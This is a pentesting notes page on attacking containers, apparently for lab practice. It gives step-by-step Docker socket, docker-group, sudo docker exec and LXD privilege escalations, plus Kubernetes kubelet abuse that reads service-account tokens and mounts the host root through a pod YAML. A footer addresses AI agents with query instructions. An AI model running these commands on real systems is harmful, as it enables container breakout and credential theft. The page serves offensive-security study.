> For the complete documentation index, see [llms.txt](https://intrusionz3r0.gitbook.io/intrusionz3r0/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://intrusionz3r0.gitbook.io/intrusionz3r0/containers-pentesting.md).

# Containers Pentesting

## Docker

### **Docker Architecture**

#### **Docker Daemon**

The `Docker Daemon`, also known as the Docker server, is a critical part of the Docker platform that plays a pivotal role in container management and orchestration.

It has several essential responsibilities like:

* running Docker containers
* interacting with Docker containers
* managing Docker containers on the host system.

#### **Docker Clients**

When we interact with Docker, we issue commands through the `Docker Client`, which communicates with the Docker Daemon (through a `RESTful API` or a `Unix socket`) and serves as our primary means of interacting with Docker.

#### **Docker Compose**

It is a tool that simplifies the orchestration of multiple Docker containers as a single application. It allows us to define our application's multi-container architecture using a  `YAML` (`.yaml`/`.yml`) file. With it, we can specify the services comprising our application, their dependencies, and their configurations. We define container images, environment variables, networking, volume bindings, and other settings.

#### **Docker Sockets**

A Docker socket or Docker daemon socket is a special file that allows us and processes to communicate with the Docker daemon. This communication occurs either through a Unix socket or a network socket. By exposing the Docker socket over a network interface, we can remotely manage Docker hosts, issue commands, and control containers and other resources.

{% hint style="info" %}
When we issue a command through the Docker CLI, the Docker client sends the command to the Docker socket, and the Docker daemon, in turn, processes the command and carries out the requested actions.
{% endhint %}

{% hint style="info" %}
You can `export DOCKER_HOST="tcp://localhost:2375"` and **avoid** using the `-H` parameter with the docker command
{% endhint %}

#### Basic commands:

```bash
Intrusionz3r0X@htb[/htb]$ docker version #Get version of docker client, API, engine, containerd, runc, docker-init
Intrusionz3r0X@htb[/htb]$ docker info #Get more infomarion about docker settings
Intrusionz3r0X@htb[/htb]$ docker pull registry:5000/alpine #Download the image
Intrusionz3r0X@htb[/htb]$ docker inspect <containerid> #Get info of the contaienr
Intrusionz3r0X@htb[/htb]$ docker network ls #List network info
Intrusionz3r0X@htb[/htb]$ docker exec -it <containerid> /bin/sh #Get shell inside a container
Intrusionz3r0X@htb[/htb]$ docker commit <cotainerid> registry:5000/name-container #Update container
Intrusionz3r0X@htb[/htb]$ docker export -o alpine.tar <containerid> #Export container as tar file
Intrusionz3r0X@htb[/htb]$ docker save -o ubuntu.tar <image> #Export an image
Intrusionz3r0X@htb[/htb]$ docker ps -a #List running and stopped containers
Intrusionz3r0X@htb[/htb]$ docker stop <containedID> #Stop running container
Intrusionz3r0X@htb[/htb]$ docker rm <containerID> #Remove container ID
Intrusionz3r0X@htb[/htb]$ docker image ls #List images
Intrusionz3r0X@htb[/htb]$ docker rmi <imgeID> #Remove image
Intrusionz3r0X@htb[/htb]$ docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache
```

### Privilege escalation techniques

#### Docker socket is exposed

By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available.

Download: <https://master.dockerproject.org/linux/x86_64/docker>

```bash
#Download docker binary into the container
Intrusionz3r0X@htb[/htb]$ wget https://<parrot-os>:443/docker -O docker
Intrusionz3r0X@htb[/htb]$ chmod +x docker

#Locate the docker.sock
Intrusionz3r0X@htb[/htb]$ find / -name "docker.sock" 2>/dev/null
/run/docker.sock

#List available images
Intrusionz3r0X@htb[/htb]$ /path/docker -H unix:///run/docker.sock images

#Create our own Docker container that maps the host’s root directory (/) to the /hostsystem directory on the container.
Intrusionz3r0X@container[/htb]$ /path/docker -H unix:///run/docker.sock run --rm -d --privileged -v /:/hostsystem <image> tail -f /dev/null

#Spawn shell
Intrusionz3r0X@container[/htb]$ /path/docker -H unix:///run/docker.sock exec -it 7ae3bcc818af /bin/bash
```

{% hint style="info" %}
You can `export DOCKER_HOST="tcp://localhost:2375"` and **avoid** using the `-H` parameter with the docker command
{% endhint %}

#### Docker Group privilege escalation

To gain root privileges through Docker, the user we are logged in with must be in the `docker` group. This allows him to use and control the Docker daemon. Usually, this socket is located in `/var/run/docker.sock`.

```bash
#List exist images
docker-user@nix02:~$ docker image ls
#create a container with direct, privileged access to the host's filesystem, allowing you to run commands as if you're on the host itself.
docker-user@nix02:~$ docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash
```

## Docker breakout

### docker exec privilege escalation

If a user possesses the permission to execute `docker exec *` as root (without a password, ), you can leverage it to **escalate privileges and gain full control over the host system**. &#x20;

```sh
boris@ip-10-10-10-11:~$ sudo -l
Matching Defaults entries for boris on ip-10-10-10-11:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User boris may run the following commands on ip-10-10-10-11:
    (root) NOPASSWD: /snap/bin/docker exec *

boris@ip-10-10-10-11:~$ ps -auxww | grep namespace
#root      1598  0.0  0.7 711452  7956 ?        Sl   03:35   0:00 /snap/docker/1125/bin/containerd-shim-runc-v2 -namespace moby -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 -address /run/snap.docker/containerd/containerd.sock
<snif>

boris@ip-10-10-10-11:~$ echo e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 | head -c 12 | xargs
e6ff5b1cbc85

boris@ip-10-10-10-11:~$ sudo /snap/bin/docker exec -it --user root --privileged e6ff5b1cbc85 /bin/bash
bash-5.1# fdisk -l
Disk /dev/xvda: 8192 MB, 8589934592 bytes, 16777216 sectors
6367 cylinders, 85 heads, 31 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Device   Boot StartCHS    EndCHS        StartLBA     EndLBA    Sectors  Size Id Type
/dev/xvda1 *  0,32,33     20,84,31          2048   16777182   16775135 8190M 83 Linux
bash-5.1# mkdir /tmp/data
bash-5.1# mount /dev/xvda1 /tmp/data/
bash-5.1# cd /tmp/data/root/
.bash_history  .local/        .profile       .ssh/          root.txt       snap/          
bash-5.1# cat /tmp/data/root/root.txt 
VL{*******************************}
bash-5.1# 
```

### Docker breakout automatic tool

{% embed url="<https://github.com/stealthcopter/deepce>" %}

## LXD/LXC

Linux Containers (`LXC`) is an operating system-level virtualization technique that allows multiple Linux systems to run in isolation from each other on a single host by owning their own processes but sharing the host system kernel for them.

To gain root privileges through LXD/LXC, the user we are logged in with must be in the `lxd` group.

```bash
#Import an image by using a ubuntu-template
container-user@nix02:~$ lxc image import <image> --alias ubuntutemp

#List exist images
container-user@nix02:~$ lxc image list

#initiate the image by specifying the security.privileged to disable all isolation features that allow us to act on the host.
container-user@nix02:~$ lxc init ubuntutemp privesc -c security.privileged=true
container-user@nix02:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

#start the container and log into it
container-user@nix02:~$ lxc start privesc
container-user@nix02:~$ lxc exec privesc /bin/bash
```

## Kubernetes

{% hint style="info" %}
Understanding the security aspects of K8 containers is crucial. We will probably be able to access one of the many containers during our penetration test.
{% endhint %}

Awesome resource to get a complete understanding about kubernets:

* <https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/kubernetes-basics#kubernetes-basics>

**Differences between K8 and Docker**

| **Function** | **Docker**                       | **Kubernetes**                                |
| ------------ | -------------------------------- | --------------------------------------------- |
| `Primary`    | Platform for containerizing Apps | An orchestration tool for managing containers |
| `Scaling`    | Manual scaling with Docker swarm | Automatic scaling                             |
| `Networking` | Single network                   | Complex network with policies                 |
| `Storage`    | Volumes                          | Wide range of storage options                 |

Kubernetes architecture is primarily divided into two types of components:

* `The Control Plane` (master node), which is responsible for controlling the Kubernetes cluster
* `The Worker Nodes` (minions), where the containerized applications are run
* **Master node:** The master node hosts the Kubernetes `Control Plane`, which manages and coordinates all activities within the cluster and it also ensures that the cluster's desired state is maintained.
* **Minions:** execute the actual applications and they receive instructions from the Control Plane and ensure the desired state is achieved.
* The `Scheduler`, based on the `API server`, understands the state of the cluster and schedules new pods on the nodes accordingly. After deciding which node a pod should run on, the API server updates the `etcd`.

**Control Plane**

The Control Plane serves as the management layer. It consists of several crucial components, including:

| **Service**             | **TCP Ports**  |
| ----------------------- | -------------- |
| `etcd`                  | `2379`, `2380` |
| `API server`            | `6443`         |
| `Scheduler`             | `10251`        |
| `Controller Manager`    | `10252`        |
| `Kubelet API`           | `10250`        |
| `Read-Only Kubelet API` | `10255`        |

Kubernetes API

| **Request** | **Description**                                                |
| ----------- | -------------------------------------------------------------- |
| `GET`       | Retrieves information about a resource or a list of resources. |
| `POST`      | Creates a new resource.                                        |
| `PUT`       | Updates an existing resource.                                  |
| `PATCH`     | Applies partial updates to a resource.                         |
| `DELETE`    | Removes a resource.                                            |

**Authentication**

Kubernetes supports various methods such as

* client certificates,
* bearer tokens
* authenticating proxy
* HTTP basic auth

Once the user has been authenticated, Kubernetes enforces authorization decisions using Role-Based Access Control (`RBAC`).

The `Kubelet` can be configured to permit `anonymous access`. By default, the Kubelet allows anonymous access. Anonymous requests are considered unauthenticated, which implies that any request made to the Kubelet without a valid client certificate will be treated as anonymous.

```bash
#Kubelet API - Extracting Pods
Intrusionz3r0X@htb[/htb]$ curl <https://10.129.10.11:10250/pods> -k | jq .
```

Understanding the container images and their versions used in the cluster can enable us to identify known vulnerabilities and exploit them to gain unauthorized access to the system.

* Namespace information can provide insights into how the pods and resources are arranged within the cluster, which we can use to target specific namespaces with known vulnerabilities.
* Metadata such as `uid` and `resourceVersion` to perform reconnaissance and recognize potential targets for further attacks.

{% hint style="info" %}
Disclosing the last applied configuration can potentially expose sensitive information, such as passwords, secrets, or API tokens, used during the deployment of the pods.
{% endhint %}

```bash
#Kubelet API - Extracting Pods
Intrusionz3r0X@htb[/htb]$ kubeletctl -i --server 10.129.10.11 pods

#Kubelet API - enumerate Pods vulnerable to RCE
Intrusionz3r0X@htb[/htb]$ kubeletctl -i --server 10.129.10.11 scan rce
┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐
│                                   Node with pods vulnerable to RCE                                  │
├───┬──────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤
│   │ NODE IP      │ PODS                               │ NAMESPACE   │ CONTAINERS              │ RCE │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│   │              │                                    │             │                         │ RUN │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 1 │ 10.129.10.11 │ nginx                              │ default     │ nginx                   │ +   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 2 │              │ etcd-steamcloud                    │ kube-system │ etcd                    │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤

#Kubelet API - Executing Commands
Intrusionz3r0X@htb[/htb]$ kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx

Intrusionz3r0X@htb[/htb]$ kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token

```

### Privilege Escalation

To gain higher privileges and access the host system we have to obtain the Kubernetes service account's `token` and `certificate` (`ca.crt`) from the server.

```bash

#Extract tokens
Intrusionz3r0X@htb[/htb]$ kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token
#Extract certificates
Intrusionz3r0X@htb[/htb]$ kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt
```

We can check the access rights in the Kubernetes cluster.

```bash
Intrusionz3r0X@htb[/htb]$ export token=`cat k8.token`
Intrusionz3r0X@htb[/htb]$ kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list
Resources										Non-Resource URLs	Resource Names	Verbs 
selfsubjectaccessreviews.authorization.k8s.io		[]					[]				[create]
selfsubjectrulesreviews.authorization.k8s.io		[]					[]				[create]
pods                      											[]					[]				[get create list]
...SNIP...
```

We can `get`, `create`, and `list` pods and from here on, we can create a `YAML` file that we can use to create a new container and mount the entire root filesystem from the host system into this container's `/root` directory. From there on, we could access the host systems files and directories.

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: privesc
  namespace: default
spec:
  containers:
  - name: privesc
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
       path: /
  automountServiceAccountToken: true
  hostNetwork: true
```

```yaml
#Create Pod by utilizing the YAML
Intrusionz3r0X@htb[/htb]$ kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml
#List the exist pods
Intrusionz3r0X@htb[/htb]$  kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get pods
#Execute commands
cry0l1t3@k8:~$ kubeletctl --server 10.129.10.11 exec "<command>" -p privesc -c privesc
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://intrusionz3r0.gitbook.io/intrusionz3r0/containers-pentesting.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
